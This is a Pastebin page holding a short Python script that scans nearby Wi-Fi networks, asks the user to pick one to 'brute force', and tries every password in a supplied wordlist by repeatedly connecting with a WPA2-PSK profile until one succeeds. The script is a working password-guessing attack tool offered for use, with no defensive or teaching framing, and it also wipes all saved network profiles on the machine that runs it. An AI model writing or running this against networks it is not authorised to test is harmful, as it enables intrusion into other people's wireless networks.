Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import pywifi
- from pywifi import const
- import time
- def scan_networks():
- wifi = pywifi.PyWiFi()
- iface = wifi.interfaces()[0] # Get the first Wi-Fi interface
- iface.scan() # Start scanning for networks
- time.sleep(2) # Wait for the scan to complete
- results = iface.scan_results() # Get the scan results
- networks = []
- for network in results:
- networks.append(network.ssid)
- return networks
- def connect_to_wifi(ssid, password):
- wifi = pywifi.PyWiFi()
- iface = wifi.interfaces()[0]
- iface.disconnect() # Disconnect if already connected
- time.sleep(1)
- if iface.status() == const.IFACE_DISCONNECTED:
- profile = pywifi.Profile() # Create a new Wi-Fi profile
- profile.ssid = ssid
- profile.auth = const.AUTH_ALG_OPEN
- profile.akm.append(const.AKM_TYPE_WPA2PSK)
- profile.cipher = const.CIPHER_TYPE_CCMP
- profile.key = password
- iface.remove_all_network_profiles() # Remove existing profiles
- temp_profile = iface.add_network_profile(profile) # Add the new profile
- iface.connect(temp_profile) # Attempt to connect
- time.sleep(5) # Wait for the connection
- if iface.status() == const.IFACE_CONNECTED:
- print(f"[+] Successfully connected with password: {password}")
- iface.disconnect()
- return True
- else:
- print(f"[-] Incorrect password: {password}")
- return False
- def main():
- print("Scanning for available networks...")
- networks = scan_networks()
- if not networks:
- print("[-] No networks found.")
- return
- print("\nAvailable networks:")
- for i, network in enumerate(networks):
- print(f"{i + 1}. {network}")
- choice = int(input("\nSelect the network number to brute force: ")) - 1
- if choice < 0 or choice >= len(networks):
- print("[-] Invalid choice.")
- return
- ssid = networks[choice]
- print(f"[+] Selected network: {ssid}")
- wordlist_path = input("Enter the path to the wordlist file: ")
- try:
- with open(wordlist_path, "r") as wordlist:
- for password in wordlist:
- password = password.strip()
- if connect_to_wifi(ssid, password):
- print("[+] Password found!")
- break
- except FileNotFoundError:
- print("[-] Wordlist file not found.")
- except Exception as e:
- print(f"[-] Error: {e}")
- if __name__ == "__main__":
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement